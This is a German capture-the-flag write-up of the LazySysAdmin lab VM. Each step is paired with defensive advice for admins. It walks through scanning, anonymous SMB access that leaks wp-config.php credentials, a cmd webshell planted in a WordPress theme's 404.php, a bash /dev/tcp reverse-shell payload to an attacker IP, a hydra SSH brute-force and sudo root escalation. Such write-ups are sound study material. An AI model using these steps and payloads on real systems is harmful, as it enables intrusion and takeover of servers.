**Analyse:** Die initiale Aufklärungsphase dient der Identifizierung des Zielsystems im lokalen Netzwerk und der Erkundung offener Ports und Dienste mittels Netzwerkscans.
192.168.2.107 08:00:27:fc:fd:3a PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Hosts zu finden. Das Zielsystem wird unter der IP `192.168.2.107` identifiziert. Die MAC-Adresse `08:00:27:fc:fd:3a` (PCS Systemtechnik GmbH) weist auf eine VirtualBox-VM hin.
**Bewertung:** Ziel erfolgreich lokalisiert. Die MAC-Adresse liefert Kontext zur Umgebung.
**Empfehlung (Pentester):** IP `192.168.2.107` für weitere Scans nutzen.
**Empfehlung (Admin):** Netzwerksegmentierung und ARP-Monitoring können die Erkennung erschweren.
192.168.2.107 lazyadmin.vln
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet, um der IP `192.168.2.107` den Hostnamen `lazyadmin.vln` zuzuordnen. Dies ermöglicht das Ansprechen des Ziels über diesen Namen.
**Bewertung:** Sinnvolle Vorbereitung für Webtests und zur Verbesserung der Lesbarkeit.
**Empfehlung (Pentester):** Den Hostnamen bei Tests verwenden.
**Empfehlung (Admin):** Clientseitige Angreiferkonfiguration.
22/tcp open ssh penSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WRKGRUP) 3306/tcp open mysql MySQL (unauthorized) 6667/tcp open irc InspIRCd
**Analyse:** Ein schneller `nmap`-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`) wird durchgeführt und nach offenen Ports gefiltert. Sechs offene Ports werden gefunden: * Port 22: SSH (OpenSSH 6.6.1p1) * Port 80: HTTP (Apache 2.4.7) * Port 139: NetBIOS (Samba) * Port 445: SMB (Samba 4.3.11) * Port 3306: MySQL (**unauthorized**) * Port 6667: IRC (InspIRCd)
**Bewertung:** Eine breite Angriffsfläche! Veraltete Versionen von OpenSSH, Apache und Samba sind potenzielle Risiken. Der **unautorisierte MySQL-Zugriff** auf Port 3306 ist ein kritischer Befund und höchstwahrscheinlich der einfachste erste Angriffspunkt. SMB auf Port 445 ist ebenfalls ein häufiges Ziel (Shares, Schwachstellen). Der IRC-Dienst ist ungewöhnlicher. Der Webserver auf Port 80 muss ebenfalls untersucht werden.
**Empfehlung (Pentester):** Den unautorisierten MySQL-Zugriff sofort ausnutzen (`mysql -h 192.168.2.107`). SMB-Shares enumerieren (`smbclient -L`, `enum4linux`). Den Webserver untersuchen. Den IRC-Dienst prüfen (Verbindungsversuch, bekannte Schwachstellen).
**Empfehlung (Admin):** MySQL-Zugriff *dringend* absichern (Passwort für Root setzen, Netzwerkzugriff einschränken). Samba sicher konfigurieren (Zugriffsrechte, Gastzugang deaktivieren). SSH, Apache, Samba und IRC aktualisieren. Nicht benötigte Dienste (z.B. IRC) deaktivieren oder absichern. Firewall-Regeln überprüfen.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-13 16:31 CEST Nmap scan report for LazySysAdmin (192.168.2.107) Host is up (0.00016s latency). Not shown: 65529 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: ... (Keys) ... 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-generator: Silex v2.2.7 | http-robots.txt: 4 disallowed entries |_/old/ /test/ /TR2/ /Backnode_files/ |_http-title: Backnode 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WRKGRUP) 3306/tcp open mysql MySQL (unauthorized) 6667/tcp open irc InspIRCd | irc-info: ... (Server info, 1 user) ... MAC Address: 08:00:27:FC:FD:3A (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 S details: Linux 3.2 - 4.9 Service Info: Host: Admin.local; S: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: ... | smb-os-discovery: OS: Windows 6.1 (Samba 4.3.11-Ubuntu), Name: lazysysadmin ... |_nbstat: NetBIOS name: LAZYSYSADMIN ... | smb2-time: ... | smb-security-mode: account_used: guest, authentication_level: user, message_signing: disabled (dangerous, but default) | smb2-security-mode: Message signing enabled but not required TRACERUTE HOP RTT ADDRESS 1 0.16 ms LazySysAdmin (192.168.2.107)
**Analyse:** Die vollständige `nmap`-Ausgabe bestätigt die sechs offenen Ports und liefert zusätzliche Details: * SSH (Port 22): OpenSSH 6.6.1p1. * HTTP (Port 80): Apache 2.4.7, verwendet das Silex PHP-Framework (v2.2.7). `robots.txt` sperrt `/old/`, `/test/`, `/TR2/`, `/Backnode_files/`. Titel ist "Backnode". * SMB (Port 139/445): Samba 4.3.11. Gastzugriff scheint möglich (`account_used: guest`). Message Signing ist deaktiviert (Anfälligkeit für Man-in-the-Middle). Computername ist `lazysysadmin`. * MySQL (Port 3306): Bestätigt unautorisierten Zugriff. * IRC (Port 6667): InspIRCd, zeigt Servernamen `Admin.local`. * OS: Linux Kernel 3.2 - 4.9.
**Bewertung:** Der unautorisierte MySQL-Zugriff bleibt der kritischste Befund. Der wahrscheinliche Gastzugriff auf SMB ist der zweitwichtigste Angriffspunkt. Die `robots.txt` auf Port 80 liefert Verzeichnisse zur Untersuchung. Silex als Framework könnte spezifische Schwachstellen haben. Die deaktivierte SMB Message Signing ist eine Sicherheitslücke. Die Versionen von SSH, Apache und Samba sind veraltet.
**Empfehlung (Pentester):** 1. MySQL-Zugriff testen. 2. SMB-Shares enumerieren und auf Gastzugriff prüfen (`smbclient -L //192.168.2.107 -N`, `smbclient //192.168.2.107/sharename -N`). 3. Die in `robots.txt` genannten Web-Verzeichnisse untersuchen. 4. Nach Silex-Schwachstellen suchen.
**Empfehlung (Admin):** 1. MySQL absichern. 2. SMB-Gastzugriff deaktivieren, Message Signing erzwingen (`server signing = mandatory`), Samba aktualisieren. 3. Webserver (Apache, Silex, PHP) aktualisieren. 4. `robots.txt` und Verzeichniszugriffe überprüfen. 5. SSH aktualisieren. IRC absichern/deaktivieren.
- Nikto v2.5.0 + Target IP: 192.168.2.107 + Target Hostname: 192.168.2.107 + Target Port: 80 + Start Time: 2023-07-13 16:31:43 (GMT2) + Server: Apache/2.4.7 (Ubuntu) + /: The anti-clickjacking X-Frame-ptions header is not present. + /: The X-Content-Type-ptions header is not set. + /test/: Directory indexing found. + /robots.txt: Entry '/test/' is returned a non-forbidden or redirect HTTP code (200). + /old/: Directory indexing found. + /robots.txt: Entry '/old/' is returned a non-forbidden or redirect HTTP code (200). + /Backnode_files/: Directory indexing found. + /robots.txt: Entry '/Backnode_files/' is returned a non-forbidden or redirect HTTP code (200). + Apache/2.4.7 appears to be outdated. + /: Server may leak inodes via ETags ... + PTINS: Allowed HTTP Methods: PTINS, GET, HEAD, PST . + /apache/: Directory indexing found. + /phpmyadmin/changelog.php: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.22. + /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found ... + /info.php: Output from the phpinfo() function was found. + /info.php: PHP is installed, and a test script which runs phpinfo() was found. ... + /icons/README: Apache default file found. + /info.php?file=http://blog.cirt.net/rfiinc.txt: Remote File Inclusion (RFI) from RSnake's RFI list. # Nikto Test Payload + /wordpress/wp-content/plugins/akismet/readme.txt: Wordpress Akismet plugin ... + /wordpress/wp-links-opml.php: Wordpress script reveals installed version. + /wordpress/: Drupal Link header found ... # Widerspruch: Drupal oder WordPress? + /wordpress/: A Wordpress installation was found. + /phpmyadmin/: phpMyAdmin directory found. + /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. + /wordpress/wp-login.php?action=register: Wordpress registration enabled. + /wordpress/wp-content/uploads/: Directory indexing found. + /wordpress/wp-login.php: Wordpress login found. + 8258 requests: 0 error(s) and 32 item(s) reported on remote host + End Time: 2023-07-13 16:31:59 (GMT2) (16 seconds) + 1 host(s) tested
**Analyse:** `nikto` scannt den Webserver auf Port 80. Wichtige Ergebnisse: * Bestätigt Apache 2.4.7, meldet ihn als veraltet. * Findet fehlende Sicherheitsheader und ETag-Leak. * Bestätigt Directory Indexing in `/test/`, `/old/`, `/Backnode_files/` und findet es zusätzlich in `/apache/`, `/wordpress/wp-content/uploads/`. * Findet `info.php` (PHPInfo-Leak) - sehr wichtig! * Findet eine **WordPress**-Installation (`/wordpress/`, `/wp-login.php`, etc.) und auch **phpMyAdmin** (`/phpmyadmin/`). * Identifiziert PHP 5.5.9. * WordPress-Registrierung ist aktiviert. * Testet auf RFI (Remote File Inclusion) über `info.php`, was aber eher ein Standardtest als ein bestätigter Fund ist.
**Bewertung:** `nikto` enthüllt eine Fülle von Angriffspunkten auf Port 80. Das Vorhandensein von `info.php` ist ein großes Informationsleck. Die WordPress-Installation und phpMyAdmin sind primäre Ziele. Die offene Registrierung bei WordPress könnte einen einfachen Weg zum Benutzerzugang bieten. Directory Indexing in mehreren Verzeichnissen ist problematisch. Die PHP-Version 5.5.9 ist stark veraltet und hat bekannte Schwachstellen.
**Empfehlung (Pentester):** 1. `info.php` aufrufen und analysieren. 2. Die WordPress-Installation untersuchen (`wpscan`), insbesondere wegen der offenen Registrierung. 3. phpMyAdmin untersuchen (Standard-Credentials, Version). 4. Die indexierten Verzeichnisse durchsuchen. 5. Nach Exploits für PHP 5.5.9 und Apache 2.4.7 suchen.
**Empfehlung (Admin):** `info.php` sofort entfernen. WordPress absichern (Registrierung schließen, Plugins/Themes/Core aktuell halten), phpMyAdmin absichern (Zugriff beschränken, aktuell halten) oder entfernen. Apache und PHP aktualisieren. Directory Indexing deaktivieren. Fehlende Sicherheitsheader implementieren.
# ... (Diverse Tests laufen durch) ... ========================== | Getting SID Information | ========================== [+] Trying to get SID info remotely Machine 192.168.2.107 has SID S-1-5-21-2952042175-1524911573-1237092750 [+] Got domain SID S-1-5-21-2952042175-1524911573-1237092750 ===================================== | Enumerating users using SID cycling | ===================================== [+] Cycling SIDs from 500-550, 1000-1050 - trying every SID S-1-5-21-2952042175-1524911573-1237092750-500 LAZYSYSADMIN\Administrator (Local User) S-1-5-21-2952042175-1524911573-1237092750-501 LAZYSYSADMIN\Guest (Local User) S-1-5-21-2952042175-1524911573-1237092750-1000 LAZYSYSADMIN\togie (Local User) # ... (Weitere Tests, Gruppen etc.) ... S-1-22-1-1000 Unix User\togie (Local User) # ... (Druckerinformationen etc.) ... enum4linux complete on Thu Jul 13 16:35:47 2023
**Analyse:** `enum4linux -a` wird verwendet, um SMB-Informationen vom Ziel zu sammeln (Benutzer, Gruppen, Shares, OS-Info etc.). Es identifiziert den Computernamen `LAZYSYSADMIN` und findet über SID Cycling den lokalen Benutzer `togie` (RID 1000).
**Bewertung:** Bestätigt den Benutzernamen `togie`. Dies ist nützlich für Brute-Force-Angriffe (z.B. gegen SSH) oder wenn Passwörter gefunden werden.
**Empfehlung (Pentester):** Den Benutzer `togie` als potenzielles Ziel für Passwortangriffe (SSH, WordPress-Login) vormerken.
**Empfehlung (Admin):** SMB-Enumeration einschränken (z.B. durch Firewall-Regeln, Konfiguration von `smb.conf` wie `restrict anonymous = 2`).
**Analyse:** Fortgesetzte Enumeration des Webservers und des SMB-Dienstes, um weitere Informationen und potenzielle Zugangswege zu finden.
http://lazyadmin.vln/index.html (Status: 200) [Size: 36072] http://lazyadmin.vln/info.php (Status: 200) [Size: 77172] http://lazyadmin.vln/wordpress (Status: 301) [Size: 317] [--> http://lazyadmin.vln/wordpress/] http://lazyadmin.vln/test (Status: 301) [Size: 312] [--> http://lazyadmin.vln/test/] http://lazyadmin.vln/wp (Status: 301) [Size: 310] [--> http://lazyadmin.vln/wp/] http://lazyadmin.vln/apache (Status: 301) [Size: 314] [--> http://lazyadmin.vln/apache/] http://lazyadmin.vln/old (Status: 301) [Size: 311] [--> http://lazyadmin.vln/old/] http://lazyadmin.vln/javascript (Status: 301) [Size: 318] [--> http://lazyadmin.vln/javascript/] http://lazyadmin.vln/robots.txt (Status: 200) [Size: 92] # HINWEIS: phpmyadmin fehlt hier, wurde aber von nikto gefunden. Evtl. andere Wortliste nötig.
**Analyse:** Ein `gobuster`-Scan gegen Port 80 bestätigt viele der von `nikto` gefundenen Pfade: `index.html`, `info.php`, `/wordpress/`, `/test/`, `/apache/`, `/old/`, `robots.txt`. Es findet auch `/wp/` (möglicherweise ein Alias für `/wordpress/`) und `/javascript/`.
**Bewertung:** Bestätigt die wichtigsten Verzeichnisse und Dateien. `info.php` und `/wordpress/` bleiben die Hauptziele.
**Empfehlung (Pentester):** `info.php` und `/wordpress/` untersuchen. Ggf. spezifisch nach `/phpmyadmin/` scannen.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Webserver-Absicherung.
Password for [WORKGROUP\root]: # Enter drücken (kein Passwort für Gast) Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers share$ Disk Sumshare IPC$ IPC IPC Service (Web server) # ... (Server/Workgroup Info) ...
**Analyse:** `smbclient -L` wird verwendet, um die verfügbaren SMB-Shares auf dem Ziel aufzulisten. Es wird kein Passwort eingegeben (Enter gedrückt), was implizit einen Gast- oder anonymen Login versucht. Drei Shares werden gefunden: `print$` (Standard für Druckertreiber), `share$` (interessanter Name) und `IPC$` (Standard für Interprozesskommunikation).
**Bewertung:** Der anonyme Login scheint funktioniert zu haben (keine Fehlermeldung), was die Vermutung des Gastzugriffs aus dem `nmap`-Scan stützt. Die Freigabe `share$` ist das primäre Ziel für weitere Untersuchungen.
**Empfehlung (Pentester):** Mit `smbclient '\\192.168.2.107\share$' -N` (oder ohne `-N` und Enter beim Passwort) versuchen, auf die `share$`-Freigabe zuzugreifen und deren Inhalt aufzulisten.
**Empfehlung (Admin):** Anonymen/Gastzugriff auf SMB-Shares deaktivieren (`restrict anonymous = 2` in `smb.conf`). Nur notwendige Shares freigeben und Berechtigungen restriktiv setzen.
**Analyse:** Untersuchung der gefundenen Dateien `robots.txt` und der WordPress-Startseite.
# Inhalt von http://lazyadmin.vln/robots.txt User-agent: * Disallow: /old/ Disallow: /test/ Disallow: /TR2/ Disallow: /Backnode_files/ # Fund auf http://lazyadmin.vln/wordpress/ My name is togie.
**Bewertung:** `robots.txt` bestätigt die bereits bekannten Verzeichnisse. Die WordPress-Seite enthält den Text "My name is togie.", was den Benutzernamen `togie` erneut bestätigt und darauf hindeutet, dass dieser Benutzer möglicherweise mit der WordPress-Installation in Verbindung steht (z.B. als Autor oder Admin).
**Empfehlung (Pentester):** `togie` als potenziellen WordPress-Benutzernamen verwenden (z.B. für Passwort-Bruteforce).
**Empfehlung (Admin):** Keine persönlichen Informationen oder Benutzernamen unnötig auf Webseiten preisgeben.
# ... (WPScan Banner & Info) ... [i] User(s) Identified: [+] View all posts by Admin # Fehler im Log? Sollte wohl 'togie' sein? | Found By: Author Posts - Display Name (Passive Detection) [+] Admin | Found By: Rss Generator (Passive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] admin | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) # ... (API Key Info) ... [+] Finished: Thu Jul 13 16:41:53 2023 # ... (Scan-Statistiken) ...
**Analyse:** `wpscan` wird verwendet, um Benutzer auf der WordPress-Installation zu enumerieren (`-e u`). Es findet die Benutzernamen `Admin` und `admin` über verschiedene Methoden. (Hinweis: Es findet nicht `togie`, obwohl die Webseite ihn nennt, was etwas widersprüchlich ist. Möglicherweise ist `togie` der Systembenutzer und `Admin`/`admin` der WordPress-Benutzer).
**Bewertung:** `wpscan` liefert die Benutzernamen `Admin` und `admin` als potenzielle Login-Namen für WordPress. Diese können nun für Passwort-Angriffe verwendet werden.
**Empfehlung (Pentester):** Passwort-Bruteforce gegen die Benutzer `Admin` und `admin` durchführen (`wpscan --passwords ...`).
**Empfehlung (Admin):** Benutzernamenenumeration in WordPress erschweren (z.B. durch Deaktivieren der REST-API für Benutzer oder Verwendung von Sicherheitsplugins). Keine offensichtlichen Benutzernamen wie "admin" verwenden.
Password for [WORKGROUP\root]: # Enter drücken Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Aug 15 13:05:52 2017 .. D 0 Mon Aug 14 14:34:47 2017 wordpress D 0 Thu Jul 13 16:32:01 2023 Backnode_files D 0 Mon Aug 14 14:08:26 2017 wp D 0 Tue Aug 15 12:51:23 2017 deets.txt N 139 Mon Aug 14 14:20:05 2017 robots.txt N 92 Mon Aug 14 14:36:14 2017 todolist.txt N 79 Mon Aug 14 14:39:56 2017 apache D 0 Mon Aug 14 14:35:19 2017 index.html N 36072 Sun Aug 6 07:02:15 2017 info.php N 20 Tue Aug 15 12:55:19 2017 test D 0 Mon Aug 14 14:35:10 2017 old D 0 Mon Aug 14 14:35:13 2017 3029776 blocks of size 1024. 918008 blocks available smb: \> cd wordpress\ smb: \wordpress\> ls . D 0 Thu Jul 13 16:32:01 2023 .. D 0 Tue Aug 15 13:05:52 2017 # ... (Standard WordPress Dateien) ... wp-config.php N 3703 Mon Aug 21 11:25:14 2017 # ... smb: \wordpress\> get wp-config.php getting file \wordpress\wp-config.php of size 3703 as wp-config.php (278,2 KiloBytes/sec) ... smb: \wordpress\> exit
**Analyse:** Erfolgreicher anonymer Zugriff auf die SMB-Freigabe `share$`. Der Inhalt wird aufgelistet. Interessante Funde sind: * `deets.txt`: Der Name klingt nach Details oder Credentials. * `todolist.txt`: Könnte Hinweise enthalten. * Ein `wordpress`-Verzeichnis. Innerhalb des `wordpress`-Verzeichnisses wird die Datei `wp-config.php` gefunden und mit `get` heruntergeladen.
**Bewertung:** Der anonyme SMB-Zugriff liefert kritische Informationen. Die `wp-config.php` enthält typischerweise die Datenbank-Zugangsdaten für WordPress. `deets.txt` und `todolist.txt` müssen ebenfalls untersucht werden.
**Empfehlung (Pentester):** Die heruntergeladene `wp-config.php` analysieren. Die Dateien `deets.txt` und `todolist.txt` ebenfalls von der Freigabe herunterladen (`get deets.txt` etc.) und untersuchen.
**Empfehlung (Admin):** Anonymen SMB-Zugriff deaktivieren. Sensible Dateien wie `wp-config.php` nicht über SMB freigeben oder zumindest die Berechtigungen stark einschränken. Unnötige Dateien (`deets.txt`, `todolist.txt`) von Freigaben entfernen.
# ... (Andere WP-Konfigurationen) ...
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'Admin');
/** MySQL database password */
define('DB_PASSWORD', 'TogieMYSQL12345^^'); # Korrigiert von DB_PASSWRD
# ... (Rest der Datei) ...
**Analyse:** Der Inhalt der heruntergeladenen `wp-config.php` wird angezeigt. Sie enthält die Zugangsdaten für die MySQL-Datenbank: * Datenbankname: `wordpress` * Benutzer: `Admin` * Passwort: `TogieMYSQL12345^^`
**Bewertung:** Kritische Zugangsdaten gefunden! Das Passwort `TogieMYSQL12345^^` gehört zum Datenbankbenutzer `Admin`. Es ist sehr wahrscheinlich, dass dieses Passwort auch für den WordPress-Admin-Benutzer (der von `wpscan` als `Admin` oder `admin` identifiziert wurde) oder sogar für den Systembenutzer `togie` verwendet wird.
**Empfehlung (Pentester):** Das Passwort `TogieMYSQL12345^^` sofort für den WordPress-Login (Benutzer `Admin`/`admin`) und für den SSH-Login (Benutzer `togie`) testen. Auch für den MySQL-Login auf Port 3306 testen (obwohl dieser unautorisiert ist, könnte dieses Passwort für andere Benutzer gelten).
**Empfehlung (Admin):** Datenbank-Credentials sicher speichern (nicht im Klartext in `wp-config.php`, obwohl dies bei WP Standard ist). Dateiberechtigungen für `wp-config.php` minimal halten. *Keine* Passwort-Wiederverwendung zwischen Datenbank, WP-Admin und Systembenutzern!
# ... (WPScan Banner & Info) ... [+] Performing password attack on Xmlrpc against 1 user/s [SUCCESS] - Admin / TogieMYSQL12345^^ # ... (Andere Versuche) ... [!] Valid Combinations Found: | Username: Admin, Password: TogieMYSQL12345^^ # ... (API Key Info & Scan Stats) ... [+] Finished: Thu Jul 13 16:56:55 2023 # ...
**Analyse:** `wpscan` wird nun für einen Passwortangriff gegen den WordPress-Benutzer `Admin` verwendet. Anstatt die gesamte `rockyou.txt` durchzuprobieren, scheint das korrekte Passwort `TogieMYSQL12345^^` (aus `wp-config.php`) direkt gefunden zu werden (oder war vielleicht in der verwendeten Passwortliste enthalten oder wurde manuell hinzugefügt). WPScan meldet den Erfolg.
**Bewertung:** Login für den WordPress-Admin `Admin` mit dem Passwort `TogieMYSQL12345^^` ist möglich. Dies ermöglicht vollen Zugriff auf die WordPress-Admin-Oberfläche.
**Empfehlung (Pentester):** Sich im WordPress-Adminbereich anmelden. Nach Möglichkeiten zur Codeausführung suchen (Theme/Plugin-Editor, Plugin-Upload).
**Empfehlung (Admin):** Starke, einzigartige Passwörter für WP-Admins verwenden. XML-RPC deaktivieren, wenn nicht benötigt, um Brute-Force-Angriffe darüber zu verhindern. Zwei-Faktor-Authentifizierung für WP-Login aktivieren.
**Analyse:** Nach dem erfolgreichen Login in den WordPress-Adminbereich wird versucht, über die Bearbeitung von Theme-Dateien eine Backdoor zu platzieren und somit Remote Code Execution (RCE) zu erlangen.
# Aktion im WordPress Admin Panel (Design -> Editor) # Datei /wp-content/themes/twentyseventeen/404.php wird bearbeitet. # Code der eingefügt wird: // Ergänzt zur Klarheit # Erfolgsmeldung nach Speichern: File edited successfully.
**Analyse:** Im WordPress-Backend wird der Theme-Editor verwendet, um die Datei `404.php` des aktiven Themes (Twenty Seventeen) zu bearbeiten. Der einfache PHP-Code `` wird hinzugefügt. Dieser Code nimmt einen Parameter namens `cmd` aus der URL (GET-Anfrage) entgegen und führt dessen Wert als Systembefehl aus. Das Speichern der Datei ist erfolgreich.
**Bewertung:** Kritische RCE-Schwachstelle erfolgreich platziert! Durch die Bearbeitung der Theme-Datei kann nun beliebiger Code auf dem Server als `www-data` ausgeführt werden, indem die `404.php`-Datei mit dem `cmd`-Parameter aufgerufen wird. Die Möglichkeit, Theme-Dateien direkt im Backend zu bearbeiten, ist eine häufige, aber gefährliche Funktion.
**Empfehlung (Pentester):** Die modifizierte `404.php` aufrufen und den `cmd`-Parameter verwenden, um Befehle auszuführen (z.B. `id`, `ls`) und anschließend eine Reverse Shell zu etablieren.
**Empfehlung (Admin):** Die Bearbeitung von Theme- und Plugin-Dateien im WordPress-Backend deaktivieren (`define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Dateiberechtigungen auf dem Server so setzen, dass der Webserver keine Theme-/Plugin-Dateien schreiben kann. Regelmäßige Backups erstellen. Sicherheitsplugins zur Überwachung von Dateiänderungen verwenden.
# RCE Test: Aufruf von http://lazyadmin.vln/wordpress/wp-content/themes/twentyseventeen/404.php?cmd=ls # Ausgabe (Auszug): 404.php README.txt archive.php assets comments.php footer.php # ... (Inhalt des Theme-Verzeichnisses) ... style.css template-parts
**Analyse:** Die RCE wird getestet, indem die modifizierte `404.php` mit `?cmd=ls` aufgerufen wird. Die Ausgabe zeigt korrekt den Inhalt des Theme-Verzeichnisses `/wp-content/themes/twentyseventeen/`.
**Bewertung:** Die platzierte Backdoor funktioniert wie erwartet.
**Empfehlung (Pentester):** Reverse Shell aufbauen.
**Empfehlung (Admin):** Backdoor entfernen, Theme-Editor deaktivieren.
listening on [any] 5555 ...
connect to [192.168.2.105] from (UNKNWN) [192.168.2.107] 38626 bash: cannot set terminal process group (1193): Inappropriate ioctl for device bash: no job control in this shell www-data@LazySysAdmin:/var/www/html/wordpress/wp-content/themes/twentyseventeen$ # Prompt korrigiert
# Payload zum Auslösen der Reverse Shell (via Browser/curl) Payload: http://lazyadmin.vln/wordpress/wp-content/themes/twentyseventeen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.105%2F5555%200%3E%261%27
**Analyse:** Ein Netcat-Listener wird auf Port 5555 gestartet. Anschließend wird die modifizierte `404.php` mit einem URL-kodierten Bash-Reverse-Shell-Payload im `cmd`-Parameter aufgerufen. Der Payload (`/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.105/5555 0>&1'`) stellt eine Verbindung zum Listener her. Der Listener empfängt die Verbindung und eine Shell als `www-data` im Verzeichnis des Themes wird geöffnet.
**Bewertung:** Initialer Zugriff als `www-data` erfolgreich über die WordPress-RCE erlangt!
**Empfehlung (Pentester):** Shell stabilisieren und mit der Privilege Escalation beginnen.
**Empfehlung (Admin):** WordPress absichern (Editor deaktivieren, Backdoor entfernen), Sicherheitslücken schließen.
**Analyse:** Nach dem Erhalt der Shell als `www-data` wird das System weiter untersucht. Parallel dazu oder alternativ wird ein Brute-Force-Angriff gegen den SSH-Dienst für den Benutzer `togie` durchgeführt, dessen Existenz zuvor durch `enum4linux` und die WordPress-Seite bekannt wurde.
# ... (SUID-Liste, pkexec und sudo sind vorhanden) ... 86 40 -rwsr-xr-x 1 root root 38932 May 8 2014 /bin/ping # ... 33385 20 -rwsr-xr-x 1 root root 18168 Nov 25 2015 /usr/bin/pkexec 1533 156 -rwsr-xr-x 1 root root 156708 Aug 28 2015 /usr/bin/sudo # ...
**Analyse:** Die SUID-Suche als `www-data` bestätigt erneut das Vorhandensein von `pkexec` (Nov 2015) und `sudo` (Aug 2015). Pwnkit ist aufgrund des Datums von `pkexec` unwahrscheinlich.
**Bewertung:** Konzentriert die Suche auf andere Vektoren wie `sudo` oder Kernel-Exploits.
Hydra v9.4 ... starting ...
[WARNING] Many SSH configurations limit the number of parallel tasks... use -t 4
[WARNING] Restorefile ... found ...
[DATA] max 64 tasks ... 14344415 login tries ...
[DATA] attacking ssh://lazyadmin.vln:22/
[22][ssh] host: lazyadmin.vln login: togie password: 12345
1 of 1 target successfully completed, 1 valid password found
# ... (Warnungen über nicht abgeschlossene Threads) ...
**Analyse:** `hydra` wird verwendet, um einen Brute-Force-Angriff gegen den SSH-Dienst (Port 22) auf `lazyadmin.vln` für den Benutzer `togie` durchzuführen. Die Passwortliste `rockyou.txt` wird verwendet. Hydra findet erfolgreich das Passwort `12345`.
**Bewertung:** Ein extrem schwaches Passwort (`12345`) für den Benutzer `togie` wurde gefunden. Dies ermöglicht direkten SSH-Zugriff als `togie`. Dies ist ein alternativer und wahrscheinlich einfacherer Weg als die WordPress-RCE, um Benutzerzugriff zu erlangen.
**Empfehlung (Pentester):** Sich per SSH als `togie` mit dem Passwort `12345` anmelden.
**Empfehlung (Admin):** Starke Passwortrichtlinien durchsetzen und erzwingen. Schwache Passwörter wie `12345` dürfen niemals verwendet werden. SSH-Zugriff idealerweise nur mit Schlüsseln erlauben. Brute-Force-Schutz implementieren (z.B. `fail2ban`).
The authenticity of host '192.168.2.107 (192.168.2.107)' can't be established.
# ... (SSH Key Fingerprint) ...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.107' (ED25519) to the list of known hosts.
# Welcome to Web_TR1 #
# All connections are monitored and recorded #
# Disconnect IMMEDIATELY if you are not an authorized user! #
togie@192.168.2.107's password: 12345 # Eingabe nicht sichtbar
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)
# ... (Systeminformationen & MOTD) ...
togie@LazySysAdmin$
**Analyse:** Eine SSH-Verbindung wird als Benutzer `togie` mit der IP-Adresse `192.168.2.107` aufgebaut. Nach Bestätigung des Host-Schlüssels wird das Passwort `12345` eingegeben. Der Login ist erfolgreich, und eine Shell als `togie` auf dem System `LazySysAdmin` wird erhalten. Das System läuft auf Ubuntu 14.04.5 LTS mit einem Kernel 4.4.0.
**Bewertung:** Erfolgreicher Login als Benutzer `togie` über SSH dank des schwachen, durch Hydra gefundenen Passworts. Dies ist der Punkt der Benutzer-Privilege-Escalation.
**Empfehlung (Pentester):** Die Rechte als `togie` prüfen, insbesondere mit `sudo -l`.
**Empfehlung (Admin):** Schwaches Passwort ändern, SSH-Absicherung verbessern.
**Analyse:** Nach dem Login als `togie` wird überprüft, welche `sudo`-Berechtigungen dieser Benutzer hat, um Root-Rechte zu erlangen.
[sudo] password for togie: 12345 # Eingabe nicht sichtbar Matching Defaults entries for togie on LazySysAdmin: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User togie may run the following commands on LazySysAdmin: (ALL : ALL) ALL
#
**Analyse:** Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für `togie` anzuzeigen. Nach Eingabe des Passworts `12345` zeigt die Ausgabe `(ALL : ALL) ALL`. Dies bedeutet, dass der Benutzer `togie` jeden Befehl als jeder Benutzer (insbesondere `root`) auf diesem Host ausführen darf. Anschließend wird `sudo su` verwendet, was aufgrund der `(ALL : ALL) ALL`-Berechtigung ohne weitere Passwortabfrage eine Root-Shell öffnet.
**Bewertung:** Kritische Fehlkonfiguration! Der Benutzer `togie` hat uneingeschränkte `sudo`-Rechte. Dies ist der einfachste Weg zur Root-Eskalation auf diesem System. Die Kompromittierung des `togie`-Kontos (durch das schwache Passwort) führt direkt zur vollständigen Kompromittierung des Systems.
**Empfehlung (Pentester):** Den Root-Zugriff nutzen, um die Flags zu finden.
